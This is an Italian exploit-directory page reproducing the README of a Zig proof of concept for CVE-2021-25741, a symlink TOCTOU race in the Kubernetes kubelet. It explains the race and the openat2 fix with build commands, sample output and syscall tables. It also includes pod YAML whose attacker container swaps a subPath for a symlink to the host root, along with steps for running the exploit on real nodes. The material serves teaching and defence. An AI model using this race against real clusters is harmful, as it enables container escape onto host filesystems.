Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
ZigRaceExploit — CVE-2021-25741 POC in Zig | Kitploit
Strumenti/GitHubGitHub/glutenfree69/zigraceexploit
Container SecurityVulnerability AnalysisExploitationCloud SecurityLearning & EducationBinary Exploitation
GitHubglutenfree69/zigraceexploit

ZigRaceExploit

CVE-2021-25741 POC in Zig

Vedi Repository
5 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2021-25741 — Exploit di race condition TOCTOU sui symlink in Zig

Exploit didattico della race condition TOCTOU (Time Of Check, Time Of Use) all'origine di CVE-2021-25741, una vulnerabilità nel kubelet di Kubernetes.

Il progetto dimostra localmente (senza cluster K8s) come uno swap concorrente di symlink possa aggirare un controllo del percorso tra lstat() e open(), e prova che openat2() con i flag RESOLVE_* è la soluzione.

Indice

  • Il problema
  • Come funziona l'exploit
  • Architettura del codice
  • Prerequisiti
  • Build
  • Utilizzo
    • Test locale con Docker
    • Confronto openat vs openat2
    • Giocare con il ritardo TOCTOU
    • Test su un vero nodo Kubernetes
  • Risultati attesi
  • Spiegazione del codice
  • Syscall Linux utilizzate
  • Debug con strace
  • Riferimenti

Il problema

Risoluzione dei percorsi in Linux

Quando il kernel risolve un percorso come /a/b/c/file, lo fa componente per componente. A ogni passo, se il componente è un symlink, il kernel lo segue automaticamente. Questa risoluzione non è atomica — il filesystem può cambiare tra due fasi.

TOCTOU nel kubelet

Il kubelet di Kubernetes implementava esattamente questo pattern vulnerabile:

root@kitploit:~
1. CHECK : lstat(subPath) → "c'est un répertoire, c'est safe"
     ↕ FENÊTRE DE RACE — un process dans le container swap le répertoire pour un symlink
2. USE   : mount(subPath) → suit le symlink, monte le filesystem host

Tra il controllo e il mount, un processo malintenzionato nel container poteva sostituire il subPath con un symlink verso / dell'host, ottenendo così accesso completo al filesystem dell'host.

Il fix: openat2(2)

La syscall openat2 (kernel 5.6+) risolve il percorso e apre il file in modo atomico, con dei vincoli:

Con openat2 non c'è finestra TOCTOU: se un symlink compare durante la risoluzione, la syscall fallisce immediatamente.


Come funziona l'exploit

Due thread cooperano per sfruttare la finestra TOCTOU:

root@kitploit:~
workdir/
├── legit_dir/
│   └── secret.txt  → contient "LEGIT"
├── symlink_target/
│   └── secret.txt  → contient "PWNED"
└── target/          → swappé entre vrai dir et symlink

Thread Racer

Esegue un loop ultra-veloce e scambia atomicamente target/ tra due stati tramite renameat2(RENAME_EXCHANGE):

  • Stato A: target/ è una vera directory (contiene secret.txt = "LEGIT")
  • Stato B: target/ è un symlink verso symlink_target/ (contiene secret.txt = "PWNED")

Una sola syscall per swap = finestra di race massima.

Thread Victim (simula il kubelet)

Riproduce il pattern vulnerabile del kubelet:

  1. fstatat("target", AT_SYMLINK_NOFOLLOW) — verifica che sia una directory
  2. Pausa opzionale (simula la latenza del kubelet tra check e use)
  3. openat(dirfd, "target/secret.txt", O_RDONLY) — apre il file
  4. read() — legge il contenuto
  5. Se contenuto == "PWNED" → race win (il symlink è stato seguito)
  6. Se contenuto == "LEGIT" → race loss (era davvero la directory reale)

In modalità protetta (--use-openat2), il passo 3 usa openat2 con RESOLVE_NO_SYMLINKS | RESOLVE_BENEATH. Se è presente un symlink, il kernel restituisce ELOOP invece di seguirlo.


Architettura del codice

root@kitploit:~
src/
├── main.zig       # Point d'entrée : parse CLI, crée le shared state, spawn les
│                  # threads, mesure le temps, affiche les résultats
│
├── racer.zig      # Thread racer : prépare l'état initial (target → symlink),
│                  # puis boucle sur renameat2(RENAME_EXCHANGE) pour swapper
│                  # target/ et legit_dir/ en continu
│
├── victim.zig     # Thread victim : boucle N itérations de fstatat → delay →
│                  # openat/openat2 → read → compare "LEGIT" vs "PWNED"
│
├── setup.zig      # Crée l'arborescence de test : workdir/, legit_dir/,
│                  # symlink_target/, target/ avec les fichiers sentinel
│
├── syscalls.zig   # Constantes et wrappers pour les syscalls raw :
│                  # - open_how struct (kernel UAPI, 3×u64)
│                  # - RESOLVE_* flags
│                  # - RENAME_EXCHANGE (= 2)
│                  # - openat2() via linux.syscall4(.openat2, ...)
│                  # - rename_exchange() via linux.renameat2()
│                  # - Helpers : is_err(), to_errno(), to_fd()
│
└── stats.zig      # Compteurs atomiques lock-free (std.atomic.Value(u64))
                   # pour wins, losses, errors, eloop + affichage formaté

Tutte le syscall sono chiamate direttamente via std.os.linux.* (niente wrapper std.fs o std.posix). L'unica syscall senza wrapper nella stdlib di Zig 0.15 è openat2, che viene chiamata tramite linux.syscall4(.openat2, ...) con una struct open_how definita manualmente dagli header UAPI del kernel.


Prerequisiti

StrumentoVersionePerché
Zig0.15.xCompilatore + cross-compilazione

Il binario è compilato in statico (musl libc) e gira su qualsiasi Linux senza dipendenze.

Kernel minimo:

  • 3.15+ per renameat2(RENAME_EXCHANGE)
  • 5.6+ per openat2 con RESOLVE_* (necessario solo per --use-openat2)

Docker Desktop e colima su Mac usano un kernel 6.x: tutto è supportato.


Build

Cross-compilazione Mac → Linux

root@kitploit:~
# ARM64 (Mac M1/M2/M3 → Docker colima / EC2 ARM)
zig build -Dtarget=aarch64-linux-musl -Doptimize=ReleaseSafe

# x86_64 (pour des nodes x86)
zig build -Dtarget=x86_64-linux-musl -Doptimize=ReleaseSafe

Il binario si trova in zig-out/bin/race-exploit.

root@kitploit:~
$ file zig-out/bin/race-exploit
ELF 64-bit LSB executable, ARM aarch64, statically linked

Utilizzo

Test locale con Docker

root@kitploit:~
# Démarrer le runtime Docker (si macOS)
colima start

# Lancer l'exploit (mode vulnérable par défaut)
docker run --rm -v $(pwd)/zig-out/bin:/app alpine /app/race-exploit --iterations 10000

Confronto openat vs openat2

root@kitploit:~
# Mode vulnérable (openat) — la race fonctionne
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  /app/race-exploit --iterations 10000

# Mode protégé (openat2) — la race est bloquée
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  /app/race-exploit --iterations 10000 --use-openat2

Oppure con lo script che lancia entrambi:

root@kitploit:~
./scripts/run_in_docker.sh --iterations 10000

Giocare con il ritardo TOCTOU

Il parametro --delay-us aggiunge un ritardo tra lstat (check) e openat (use). Più il ritardo è lungo, più la finestra TOCTOU è ampia e più il win rate aumenta:

root@kitploit:~
# Sans délai — win rate ~25%
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  /app/race-exploit --iterations 50000

# 10µs — win rate ~35%
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  /app/race-exploit --iterations 50000 --delay-us 10

# 100µs — win rate ~50%
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  /app/race-exploit --iterations 50000 --delay-us 100

# 1000µs (1ms) — win rate ~50% (plafonné, le racer swap bien plus vite)
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  /app/race-exploit --iterations 10000 --delay-us 1000

In un kubelet reale, la latenza tra la verifica del subPath e il bind mount è dell'ordine di diversi millisecondi (chiamate API, preparazione del mount namespace, ecc.), il che rende la race molto affidabile in condizioni reali.

Opzioni CLI complete

root@kitploit:~
race-exploit [options]
  --iterations N     Nombre de tentatives (défaut: 10000)
  --delay-us N       Microsecondes entre lstat et open (défaut: 0)
  --use-openat2      Utiliser openat2 avec RESOLVE_* (mode protégé)
  --workdir PATH     Répertoire de travail (défaut: /tmp/race-workdir)
  --help             Afficher l'aide

Test su un vero nodo Kubernetes

L'exploit non ha bisogno di Kubernetes per funzionare: è una race condition Linux fondamentale. Ma puoi eseguirlo su un vero nodo per testare nelle stesse condizioni del kubelet.

Opzione 1: eseguire direttamente su un nodo

root@kitploit:~
# Cross-compiler pour l'architecture du node
# ARM64 (EKS avec Graviton, GKE avec T2A, etc.)
zig build -Dtarget=aarch64-linux-musl -Doptimize=ReleaseSafe

# ou x86_64
zig build -Dtarget=x86_64-linux-musl -Doptimize=ReleaseSafe

# Copier le binaire sur le node
scp zig-out/bin/race-exploit user@node:/tmp/

# Lancer sur le node
ssh user@node /tmp/race-exploit --iterations 50000 --delay-us 100

# Vérifier la version du kernel (>= 5.6 pour openat2)
ssh user@node uname -r

Opzione 2: eseguire da un pod Kubernetes

Crea un pod che include il binario e lo esegue:

root@kitploit:~
# race-pod.yaml
apiVersion: v1
kind: Pod
metadata:
  name: race-exploit
spec:
  containers:
  - name: race
    image: alpine:latest
    command: ["/app/race-exploit"]
    args: ["--iterations", "50000", "--delay-us", "100"]
    volumeMounts:
    - name: exploit-bin
      mountPath: /app
  volumes:
  - name: exploit-bin
    hostPath:
      path: /tmp  # le binaire doit être copié ici au préalable
  restartPolicy: Never
root@kitploit:~
# Copier le binaire sur le node d'abord
kubectl cp zig-out/bin/race-exploit <node>:/tmp/race-exploit

# Lancer le pod
kubectl apply -f race-pod.yaml
kubectl logs race-exploit

Opzione 3: riprodurre la vera CVE con subPath

Per riprodurre lo scenario esatto di CVE-2021-25741, bisogna sfruttare la race mentre il kubelet prepara un bind mount di un volume con subPath:

root@kitploit:~
# vulnerable-pod.yaml
apiVersion: v1
kind: Pod
metadata:
  name: subpath-race
spec:
  containers:
  - name: attacker
    image: alpine:latest
    command: ["/bin/sh", "-c"]
    args:
    - |
      # Ce script tourne dans le container et swap le subPath
      # pendant que le kubelet prépare le mount
      while true; do
        rm -rf /vol/subdir
        ln -s / /vol/subdir
        mkdir -p /vol/subdir
      done
    volumeMounts:
    - name: shared-vol
      mountPath: /vol
      subPath: subdir  # ← le kubelet vérifie puis monte ce chemin
  volumes:
  - name: shared-vol
    emptyDir: {}

Importante: questo attacco funziona solo su kubelet non patchati (versioni < 1.22.2, < 1.21.5, < 1.20.11). I kubelet recenti usano openat2 con RESOLVE_NO_SYMLINKS per risolvere il subPath.

Per verificare se il tuo kubelet è vulnerabile:

root@kitploit:~
# Version du kubelet
kubectl get nodes -o wide

# Vérifier si openat2 est utilisé dans le kubelet (sur le node)
ssh user@node strace -f -e trace=openat2 -p $(pidof kubelet) 2>&1 | head -20

Risultati attesi

openat (vulnerabile)

root@kitploit:~
CVE-2021-25741 TOCTOU Race Exploit
===================================
Mode:       openat (vulnerable)
Iterations: 10000
Delay:      0us
---
Results:
  Total attempts: 3749
  Race wins:      940 (25.07%)
  Race losses:    2809 (74.93%)
  Errors:         0 (0.00%)
  Duration:       14ms

openat2 (protetto)

root@kitploit:~
CVE-2021-25741 TOCTOU Race Exploit
===================================
Mode:       openat2 (protected)
Iterations: 10000
Delay:      0us
---
Results:
  Total attempts: 3105
  Race wins:      0 (0.00%)
  Race losses:    2283 (73.53%)
  Errors:         0 (0.00%)
  ELOOP (blocked): 822 (26.47%)
  Duration:       12ms

Osservazioni chiave:

  • Il "total attempts" è inferiore alle iterazioni richieste perché molti giri del loop vengono saltati (la lstat vede un symlink e non tenta l'open)
  • In modalità openat, ~25% dei tentativi termina con un win (il file "PWNED" viene letto)
  • In modalità openat2, 0% di win — ogni tentativo in cui il racer ha effettuato lo swap viene rilevato dal kernel che restituisce ELOOP
  • Gli ELOOP corrispondono esattamente ai win in modalità openat: è la stessa percentuale, ma bloccata

Spiegazione del codice

syscalls.zig — i mattoni di base

Il file definisce le costanti mancanti nella stdlib di Zig 0.15:

root@kitploit:~
// renameat2(2) : swap atomique de deux entrées filesystem
pub const RENAME_EXCHANGE: u32 = 2;

// openat2(2) : struct passée au syscall
pub const open_how = extern struct {
    flags: u64 = 0,   // O_RDONLY, O_WRONLY, etc.
    mode: u64 = 0,    // permissions (si O_CREAT)
    resolve: u64 = 0, // RESOLVE_* flags
};

// Flags de résolution pour open_how.resolve
pub const RESOLVE_NO_SYMLINKS: u64 = 0x04; // refuse tout symlink
pub const RESOLVE_BENEATH: u64 = 0x08;     // interdit de remonter au-dessus du dirfd

openat2 viene chiamato tramite linux.syscall4(.openat2, ...) perché Zig 0.15 ha il numero di syscall ma non un wrapper.

racer.zig — il thread attaccante

All'avvio, trasforma target/ in un symlink verso symlink_target/, poi esegue un loop su due renameat2(RENAME_EXCHANGE) che scambiano target e legit_dir:

root@kitploit:~
Itération 1: target=dir,     legit_dir=symlink  ← victim voit un dir, ouvre normalement
Itération 2: target=symlink, legit_dir=dir      ← victim suit le symlink → PWNED

victim.zig — il thread kubelet

Riproduce lstat → delay → openat/openat2 → read → confronta. I risultati vengono contati in contatori atomici lock-free (fetchAdd con ordinamento .monotonic).

setup.zig — la struttura di test

Crea l'albero delle directory con mkdirat, openat(O_CREAT) e write, tutti tramite syscall raw. Due file sentinella: "LEGIT" nella directory reale, "PWNED" nella destinazione del symlink.


Syscall Linux utilizzate


Debug con strace

root@kitploit:~
# Tracer tous les syscalls des deux threads
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  strace -f /app/race-exploit --iterations 100

# Filtrer les syscalls intéressants
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  strace -f -e trace=openat,renameat2,symlinkat,newfstatat \
  /app/race-exploit --iterations 100

# Voir les ELOOP de openat2
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
  strace -f -e trace=openat2 \
  /app/race-exploit --iterations 100 --use-openat2

Nota: strace non è installato di default in Alpine. Usa alpine:edge oppure installalo con apk add strace:

root@kitploit:~
docker run --rm -v $(pwd)/zig-out/bin:/app alpine:edge \
  sh -c "apk add --no-cache strace && strace -f -e trace=openat,renameat2 /app/race-exploit --iterations 100"

Riferimenti

  • CVE-2021-25741 — Kubernetes Issue #104980
  • Google Security Blog — Exploring Container Security: Storage
  • man 2 openat2 — il fix
  • man 2 renameat2 — swap atomico
  • man 2 fstatat — lstat senza seguire i symlink
  • Symlinks and path resolution — Star Lab

ZigRaceExploit

Scarica lo strumento
FlagEffetto
RESOLVE_NO_SYMLINKSRifiuta di seguire qualsiasi symlink → restituisce ELOOP
RESOLVE_BENEATHImpedisce di uscire dalla directory di base → restituisce EXDEV
RESOLVE_IN_ROOTTratta il dirfd come la radice del filesystem
RESOLVE_NO_XDEVImpedisce di attraversare i punti di mount
DockerQualsiasiPer eseguire il binario Linux su Mac
colimaQualsiasiRuntime Docker su macOS (o Docker Desktop)
SyscallRuolo nell'exploitWrapper Zig
renameat2(RENAME_EXCHANGE)Swap atomico target ↔ legit_dirlinux.renameat2()
fstatat(AT_SYMLINK_NOFOLLOW)lstat: verifica se target è una dir o un symlinklinux.fstatat()
openat(O_RDONLY)Apre il file seguendo i symlink (vulnerabile)linux.openat()
openat2(RESOLVE_NO_SYMLINKS)Apre il file rifiutando i symlink (fix)linux.syscall4(.openat2, ...)
symlinkatCrea il symlink iniziale target → symlink_targetlinux.symlinkat()
unlinkatElimina target prima di ricrearlo come symlinklinux.unlinkat()
mkdiratCrea le directory di testlinux.mkdirat()
read / write / closeI/O sui file sentinellalinux.read() / linux.write() / linux.close()